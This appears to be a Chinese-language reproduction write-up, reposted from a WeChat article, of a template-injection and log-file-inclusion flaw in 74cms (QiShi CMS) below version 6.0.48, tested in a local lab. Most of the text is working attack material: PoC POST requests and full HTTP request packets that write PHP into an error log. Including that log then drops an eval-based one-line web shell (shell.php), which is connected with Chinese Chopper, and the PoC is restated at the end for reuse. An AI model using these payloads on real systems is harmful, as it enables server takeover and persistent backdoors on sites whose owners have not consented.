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骑士cms文件包含getshell复现.md

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本文由 简悦 SimpRead 转码， 原文地址 mp.weixin.qq.com

00X1 测试环境

骑士 CMS 6.0.48以下均存在此漏洞，本文复现使用骑士cms 6.0.20，下载地址：

http://www.74cms.com/download/index.html

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注意骑士cms不支持php7.x，复现php环境为php5.6。安装包下载完毕后直接在phpstudy下，访问upload/install.php进行安装，根据提示逐步安装即可。

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00X2 漏洞复现

1.模板注入写入文件，POC

`http://192.168.23.128/74cms_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl``POST:``variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>`

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请求包：

`POST /74cms_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1``Host: 192.168.23.128``Content-Length: 155``Cache-Control: max-age=0``Upgrade-Insecure-Requests: 1``Origin: http://192.168.23.128``Content-Type: application/x-www-form-urlencoded``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36``Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9``Referer: http://192.168.23.128/74cms_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl``Accept-Encoding: gzip, deflate``Accept-Language: zh-CN,zh;q=0.9,vi;q=0.8,id;q=0.7``Cookie: PHPSESSID=ktl5a9hhct39p0vsnh7pjc2nhn; think_language=zh-CN; think_template=default``Connection: close``variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>`

根据报错，发现日志已经记录了错误，日志物理路径：

\phpstudy_pro\WWW\data\Runtime\Logs\Home

日志文件名根据日期命名：

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2.包含日志文件getshell

poc：

`http://192.168.23.128/74cms_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl``POST:``variable=1&tpl=data/Runtime/Logs/Home/20_12_14.log`

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请求包：

`POST /74cms_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1``Host: 192.168.23.128``Content-Length: 58``Cache-Control: max-age=0``Upgrade-Insecure-Requests: 1``Origin: http://192.168.23.128``Content-Type: application/x-www-form-urlencoded``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36``Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9``Referer: http://192.168.23.128/74cms_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl``Accept-Encoding: gzip, deflate``Accept-Language: zh-CN,zh;q=0.9,vi;q=0.8,id;q=0.7``Cookie: PHPSESSID=ktl5a9hhct39p0vsnh7pjc2nhn; think_language=zh-CN; think_template=default``Connection: close``variable=1&tpl=data%2FRuntime%2FLogs%2FHome%2F20_12_14.log`

包含文件的内容为：

<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>

在根目录下写入shell.php文件，内容为一句话木马，包含成功：

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菜刀连接：

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以上：

`# shell写入日志``http://192.168.23.128/74cms_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl``POST:``variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>``# 包含写shell``http://192.168.23.128/74cms_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl``POST:``variable=1&tpl=data/Runtime/Logs/Home/20_12_14.log``# poc来源：``https://mp.weixin.qq.com/s/4-36O4OaWxu2jX2pzb5_Wg`

参考链接：

https://xz.aliyun.com/t/8596#toc-6

https://mp.weixin.qq.com/s/4-36O4OaWxu2jX2pzb5_Wg

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